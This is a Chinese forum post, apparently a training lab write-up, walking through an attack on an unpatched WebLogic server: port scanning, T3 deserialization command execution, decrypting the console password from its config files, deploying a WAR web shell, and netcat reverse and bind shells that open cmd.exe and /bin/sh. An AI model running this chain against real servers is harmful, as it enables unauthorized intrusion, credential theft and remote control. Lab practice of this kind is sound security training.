anonymou5

 找回密码
 立即注册
搜索
查看: 65|回复: 0

Web渗透实验:基于Weblogic的一系列漏洞

[复制链接]
匿名
匿名  发表于 2019-1-31 15:37:04 |阅读模式
本帖最后由 匿名 于 2019-1-31 15:39 编辑

一上班就接到了老大的要求,需要给最近入职的小弟深入培养一下渗透的技术,所以有了这篇文章,这次的环境如下:

1. 攻击机windows10 192.168.2.104

2. 靶机ip:

192.168.2.109(linux Ubantu)

192.168.2.111(windows2008R264位)

为了让读者看的更直观更容易理解,我分别配置了2个靶机

第一步:启动靶机服务

1.png

2.png

分别为linux和windows

靶机配置过程过于简单这里直接省略,有问题可以留言,我看到会回复的。

第二步:发现weblogic服务

当我们拥有客户授权的情况下,一般采取nmap,masscan甚至是Python自己编写的端口扫描工具,各有优缺。

网上开源很多,这里从网上拿来一款开源的扫描器(基于python2)。

代码如下:
  1. # -*- coding: utf-8 -*-

  2. import optparse

  3. from threading import *

  4. from socket import *

  5. screenLock=Semaphore(value=1)

  6. def connScan(tgtHost,tgtPort):

  7.     try:

  8.         connSkt = socket(AF_INET,SOCK_STREAM)

  9.         connSkt.connect((tgtHost,tgtPort))

  10.         connSkt.send('ViolentPython\r\n')

  11.         results=connSkt.recv(100)

  12.         screenLock.acquire()#打印前的加锁操作。

  13.         print ('[+.+] %d/tcp 开启'% tgtPort+'   '+str(results)).decode('UTF-8').encode('GBK')

  14.         # print ('[+.+] '+str(results))

  15.         connSkt.close()

  16.     except:

  17.         screenLock.acquire()

  18.         print ("[-.-] %s/tcp 关闭"%tgtPort).decode('UTF-8').encode('GBK')

  19.     finally:

  20.         screenLock.release()#终止阻塞其他线程前需要执行的代码。

  21.         connSkt.close()

  22. def portScan(tgtHost,tgtPorts):

  23.     try:

  24.         tgtIP=gethostbyname(tgtHost)

  25.     except:

  26.         print ("[-.-] 报告老大不能解析目标 '%s': 未知目标"%tgtHost).decode('UTF-8').encode('GBK')

  27.         return

  28.     try:

  29.         tgtName=gethostbyaddr(tgtIP)

  30.         print ('\n[+.+] 已经获得目标地址:'+tgtName[0]).decode('UTF-8').encode('GBK')

  31.     except:

  32.         print ('\n[+.+] 已经获得目标地址:'+tgtIP).decode('UTF-8').encode('GBK')

  33.     setdefaulttimeout(1)

  34.     for tgtPort in tgtPorts:

  35.         t=Thread(target=connScan,args=(tgtHost,int(tgtPort)))#多线程

  36.         t.start()

  37. def main():

  38.     print ("皮皮虾正在探路请耐心等待...").decode('UTF-8').encode('GBK')

  39.     parser=optparse.OptionParser('usage %prog -H' +'<target host> -p <target port>')

  40.     parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')

  41.     parser.add_option('-P',dest='tgtPort',type='string',help='specify target post')

  42.     (options,args)=parser.parse_args()

  43.     tgtHost = options.tgtHost

  44.     tgtPorts = str(options.tgtPort).split(',')

  45.     if (tgtHost==None)|(tgtPorts[0]==None):

  46.         print ('[-.-] 老大你忘了输入目标地址和端口啦.').decode('UTF-8').encode('GBK')

  47.         exit(0)

  48.     portScan(tgtHost,tgtPorts)

  49. if __name__ == '__main__':

  50.     print ("欢迎使用本扫描器,我是皮皮虾").decode('UTF-8').encode('GBK')

  51. main()
复制代码
具体编写指南可以参考原文链接,适合刚开始学习python的朋友们

https://bbs.ichunqiu.com/thread-40994-1-1.html

3.png

扫描结果为关闭,换个端口试试

4.png

为什么为造成这种情况呢,分析原因:

可能因为我们这个py版端口扫描是调用的socket模块,给端口发送一些垃圾数据,如果服务端返回数据才代表我们这个端口开放,所以7001端口没有给我们想要的数据,脚本就认为它没有开放。

祭出我们强大的Nmap

5.png

发现我们服务器靶机确实是开放了7001端口的,^…^。

第三步:对weblogic服务渗透的思路

发现weblogic服务,第一反应是常见的能getshell的漏洞

比如后台弱口令,密码是base64编码的,可以用burpsuite增加编码参数,也可以用网上开源的一些工具进行爆破,然后war包部署拿shell。

再比如对weblogic的T3协议,反序列化命令执行,直接执行系统命令。

像目录样例操纵和拒绝服务这些鸡肋的漏洞我们这暂且不谈。这个靠的是渗透经验,就像上次参加一个众测,网站出现了action结尾的网址时,立马直接struts2命令执行扫了一下直接getshell菜刀连上,高危漏洞吧,当然了,跟大佬们一起挖洞众测,这么简单的漏洞,比的就是速度了,后面有空会分享一些挖洞的经验,这里暂且不提。

第四步:对weblogic服务的渗透

我们这里安装的weblogic是10.3.6,没有打补丁,也没有禁用t3协议。我们可以使用工具进行反序列化利用。

6.png
(windows)

7.png
(linux)

然后执行一系列命令查看我们入侵靶机的环境

8.png

9.png

因为是靶机,直接给的administrator权限,也开放了3389端口,当然了,在实战过程中,我一开始很少连接3389上去,不安全也不可靠。

常规套路,net user增加用户,给权限等,注意如果不是公网的服务器,Web服务端口是映射出来的化,我们这边还需要给我们自己这边的攻击机弹个shell,有很多工具,这里用瑞士军刀演示。

10.jpeg

因为是windows我们先上传瑞士军刀到服务器上,然后使用命令,转发cmd到我们的攻击机上。从weblogic反序列化得到的执行权限无法反弹,所以我们需要先上传一个大马来执行命令。因为是靶机并没有部署web环境,我们再来看控制台。

控制台密码在目录

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\security\boot.properties

11.png

得到了加密的用户密码:

我们开始破解它

第五步:破解weblogic控制台密码

    jdk安装说明:

    https://www.cnblogs.com/eagle6688/p/7873477.html

    破解工具:

    https://codeload.github.com/NetS ... ecryptor/zip/master

    插件:

    http://repo2.maven.org/maven2/or ... -ext-jdk16-1.46.jar

将插件复制到目录

C:\Program Files\Java\jdk1.8.0_201\jre\lib\ext(jdk环境)

破解 weblogic 控制台密码需要 2 个条件

SerializedSystemIni.dat 密钥文件

(c:\Oracle\Middleware\user_projects\domains\base_domain\security\SerializedSystem Ini.dat)

boot.properties 控制台用户名和密码

(C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\security\boot.properties)

编译下载的破解文件

Javac WebLogicPasswordDecryptor.java

12.png

破解

13.jpeg

记住 破解的时候java和javac 版本一定要一样,如果是后面新安装的java和之前的java会冲突,需要到系统变量中修改一下,否则会出现下图的报错

14.png

破解成功之后的
  1.     账号:weblogic

  2.     密码:weblogic123
复制代码
原来是弱口令,嘿嘿。所以大家下次注意,遇到这种控制台,第一反应就是去手动尝试一些弱口令。当然也可以使用暴力破解

可以使用python脚本:

https://github.com/b4zinga/Explib/blob/master/weblogic.py

有了账号密码,就是常规套路部署war包了。

/**/

制作war包大马,把大马以zip格式压缩然后重命名为xxx.war即可

1、登录控制台(以Linux靶机为例)

访问登陆控制台

http://192.168.43.22:7001/console

选择上传文件

上传我们制作的war包大马

上传的路径

然后一直下一步

激活更改

选择刚部署的项目启动

随后访问http://192.168.43.22:7001/cmd/cmd.jsp即可打开大马

15.png
(linux)

16.jpeg

第六步:弹shell

在windows下:

靶机执行:
  1. nc.exe -l -p 8888 -t -e cmd.exe
复制代码
本机执行:
  1. nc.exe -nvv 192.168.2.111 8888
复制代码
17.jpeg

在linux下:

靶机执行:
  1. nc 192.168.2.104 8888 -e /bin/sh
复制代码
本机执行:
  1. nc.exe -lvnp 8888
复制代码
18.jpeg

我们看到-e参数报错了这是因为

Ubuntu上默认安装的是netcat-openbsd,而不是经典的netcat-traditional
  1. sudo apt-get -y install netcat-traditional
复制代码
然后sudo update-alternatives –config nc,选择2

19.jpeg

Linux靶机执行:nc -vlp 8888 -e /bin/bash

20.png

本机执行:nc.exe 192.168.2.109 8888

21.png

即可成功弹shell

第七步:横向渗透

用的比较多的是proxifier 正向代理,下一篇文件见。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

( 蜀ICP备18025895号 )

GMT+8, 2019-3-21 13:46 , Processed in 0.153057 second(s), 23 queries .

Powered by anonymou5 0.1

快速回复 返回顶部 返回列表